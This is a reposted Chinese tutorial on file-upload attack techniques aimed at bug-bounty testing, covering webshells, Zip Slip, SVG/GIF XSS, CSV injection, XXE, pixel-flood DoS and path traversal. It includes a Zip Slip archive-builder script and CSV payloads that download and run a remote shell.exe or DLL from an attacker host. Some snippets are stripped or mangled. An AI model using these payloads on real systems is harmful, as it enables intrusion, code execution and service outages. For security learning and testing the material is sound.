文件上传攻击骚操作

允许直接上传shell

只要有文件上传功能，那么就可以尝试上传webshell直接执行恶意代码，获得服务器权限，这是最简单也是最直接的利用。

允许上传压缩包

如果可以上传压缩包，并且服务端会对压缩包解压，那么就可能存在Zip Slip目录走访漏洞；恶意攻击者通过构造一个压缩文件条目中带有../的压缩文件，上传后交给应用程序进行解压，由于程序解压时没有对压缩包内部的文件名进行合法性的校验，而是直接将文件名拼接在待解压目录后面，导致可以将文件解压到正常解压缩路径之外并覆盖可执行文件，从而等待系统或用户调用他们实现代码执行（也可能是覆盖配置文件或其他敏感文件）。

本质：没有对压缩包中的文件名进行合法性校验，直接将文件名拼接到待解压目录中，导致存在路径遍历风险

举例：若解压目录为/webapp/web/，给文件命名为：../../var/www/html/1.php并压缩，那么文件解压后，通过直接拼接文件名为/webapp/web/../../var/www/html/1.php，因此最终就会存放到/var/www/html/1.php中，如果能访问并解析，那么就能成功代码执行。

利用：zip-slip-vulnerability这个仓库包含了有关此攻击的所有信息，例如受影响的库、项目和其他相关信息。

构造代码：

也可以用别人写好的工具：GitHub - ptoomey3/evilarc: Create tar/zip archives that can exploit directory traversal vulnerabilities

import zipfile
# the name of the zip file to generate
zf = zipfile.ZipFile('out.zip', 'w')
# the name of the malicious file that will overwrite the origial file (must exist on disk)
fname = 'zip_slip.txt'
#destination path of the file
zf.write(fname, '../../../../../../../../../../../../../../../../../../../../../../../../tmp/zip_slip.aaa')

允许上传HTML或SVG

允许上传html或者svg都可以能导致xss，也能导致任意URL跳转，甚至还能导致SSRF（很难利用），因为核心还是js代码可控

html造成XSS就不多说了，懂得都懂

主要说说svg文件如何造成xss

检查思路：

创建一个恶意的svg文件，输入如下内容：

alert(document.domain);

上传到文件中，并访问

[!tip|style:flat]

如果目标存在导出功能，如给svg导出为pdf这种功能，那么可能存在SSRF

可尝试使用其他协议更直观的查看，如file://

允许上传CSV

如果允许上传CSV文件，且上传的CSV文件的内容未经过处理过滤直接保存，那么可以尝试上传具有恶意命令执行payload的CSV文件，当其他用户下载该CSV文件时，可能会导致命令执行。

CSV Payload

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

检查思路：

上传恶意的CSV文件

下载恶意的CSV文件

观察下载后的CSV文件是否对等号=等特殊符号做了处理，payloads会否会成功执行，如果能则说明存在问题

允许上传XML格式文件并解析

如果允许上传XML格式文件，如docx、xlsx、svg等本质是xml的文件，且后端会对上传的文件进行解析，那么可能存在XXE

以恶意svg为例，一般尝试OOB外带注入的方式来判断最快

 ]>&xxe;

恶意的XXE文档生成：docem

允许上传PDF

可能存在PDF XSS和任意URL跳转，但是由于属于浏览器层面的漏洞，所以厂商大概率不认可。

可以直接使用工具生成：GitHub - harunoz/js_pdf_xss

也可以按照网上的操作，用迅捷PDF编辑器去操作，效果都一样

允许上传大文件

文件上传的时候，服务端通常会对上传的文件进行大小限制，范围一般为5MB-200 MB，甚至更小/更大，具体取决于应用程序逻辑。但是如果未限制文件大小或不存在相关的验证检查，那么攻击者可能会上传相对较大的文件，造成大量资源消耗，从而可能导致拒绝服务。

检查思路：

创建一个超大的图片文件，如500M的png，并上传图片

新开一个浏览器页面或从另一台设备浏览网站，查看响应速度是否变慢或是否存在连接错误等异常情况

文件名造成的XSS

当上传任何文件时，文件名肯定是会反显示在网页上，可以使用 XSS Payload做文件名尝试将其上传到 Web 应用程序。这样就可能会触发XSS。

步骤：

1、Steps To Reproduce:
2、create filename 
3、start tianma-static

参考文章：

https://hackerone.com/reports/403692

允许上传gif文件

利用上传gif进行XSS

我们可以很容易的创建一张包含 javascript payload 的 GIF 图片，然后将这张图片当做源码加以引用。如果我们可以成功的注入相同的域名，如下所示，则这样可以有效的帮我们绕过 CSP（内容安全策略）防护（其不允许执行例如
）

创建这样一张图片可以使用如下内容并将文件命名为 .gif 后缀：

GIF89a/*

GIF 文件标识 GIF89a 做为一个 javascript 的变量分配给 alert 函数。中间注释部分的 XSS 是为了以防图像被检索为 text/HTML MIME 类型时，通过请求文件来执行 payload。

我们通过下图可以发现，类 UNIX 命令的 PHP 函数 exif_imagetype() 和 getimagesize() 都会将这个文件识别为 GIF 文件。而一般的 Web 应用都是使用这些函数来验证图像类型的，所以这样一个文件是可以被上传的（但上传后可能会被杀毒软件查杀）。

更多可以用作 javascript 变量赋值的 ASCII 文件类型标识符，请参见这里。

更多关于文件上传 XSS 的详尽示例，包括绕过像 GD 库等过滤的例子，请参见这里。

像素洪水攻击

任意可以上传图片的地方都可以进行测试；在Pixel Flood Attack中，攻击者尝试上传具有大像素的文件（64250x64250像素），一些应用会使用第三方组件/库对图像进行缩小处理，以节省存储空间和处理能力，但是这些第三方库在处理的时候，会将“整个图像”加载到内存中，它会尝试将4128062500像素分配到内存中，从而消耗服务器资源，导致应用最终崩溃宕机。

检查思路：

在Free Online Image Editor - ResizePixel中调整图片大小为 64250x64250，上传图片（现在好像不行了，所以我找了个直接能用的 pixel_flood_lottapixel.jpg）

新开一个浏览器页面或从另一台设备浏览网站，查看响应速度是否变慢或是否存在连接错误等异常情况

hackerone $500 实例

会对图片二次渲染

若服务端使用存在漏洞的组件对上传图片进行二次渲染等操作，那么也可以尝试RCE，如ImageMagick

一些ImageMagick相关的CVE：

• CVE-2016–3714 — Insufficient shell characters filtering leading to (potentially remote) code execution
• CVE-2016–3715 — File deletion
• CVE-2016–3716 — File moving
• CVE-2016–3717 — Local file read
• CVE-2016–3718 — SSRF

不会对上传文件重命名

一些网站配置不当，或者开发安全意识不严谨，将用户上传的文件直接按原名存储到服务器中，那么我们就可以尝试将文件名添加回溯符../，以上传文件到任意目录，甚至覆盖文件，达到getshell或者破坏系统的目的。

[!tip]

在windows中由于部分符号不能作为文件名，如果我们将文件名设置为带有这些特殊符号的内容，那么可能让服务器抛出异常

较少的情况下，可以控制上传的目录名，也可以通过路径遍历的方法上传到任意目录中。

如将文件名设置为../../../../etc/passwd，然后上传对应的内容，那么则有可能直接覆盖掉/etc/passwd

一般情况下尽量去覆盖不会对系统产生影响且我们可以直接观察到的文件，如robots.txt等

服务端的注入

服务端可能对上传的文件名进行各种处理，如展示到页面、存储到数据库等，因此可能存在各种各样的注入，如XSS、SQLI等

如上传文件名为test.png，那么我们可以设置变量为§test§.png，然后fuzz一下各种注入的payload，如sleep(10)-- -.png、

test

.png、${2*3} 等

元数据泄漏

元数据是照片背后的故事，它告诉我们图像文件是如何创建的，在哪里和何时创建的。它还描述了照片的内容，确定了摄影师，并向您展示了图像在后期处理中是如何编辑的。简单地说，假设您使用数码相机单击了一张图片，当该图像被处理并保存在存储设备上时，一些属性被添加到文件中，例如作者、位置、设备信息和其他适用于描述图像信息的信息。

如果服务端对用户上传的图片未进行处理就直接展示，那么将可能会导致源数据泄漏；通常情况下，元数据中包含GPS地址、设备信息等，会被当作低危。

[!note]

元数据泄漏不仅限于图片，还可以在其他文件格式中找到，如PDF

检查方法：

在头像上传等图片可以被枚举的功能点上传包含有exif敏感信息的图片，没有的话可以用手机现拍

下载刚才上传的图片（如果用下面的在线平台这一步可以省略）

使用 http://exif.regex.info/exif.cgi或者 exiftool 去分析数据

使用 exiftool 工具可以修改 EXIF 元数据，从而在某些地方造成反射：

$ exiftool -FIELD=XSS FILE

例子：

$ exiftool -Artist=’ “>’ brute.jpeg

相关burp检测文件上传插件

下载地址：https://github.com/portswigger/upload-scanner

参考文章

File Upload Attacks (Part 1)

File Upload Attacks (Part 2)

转发来自：文件上传攻击面 - FreeBuf网络安全行业门户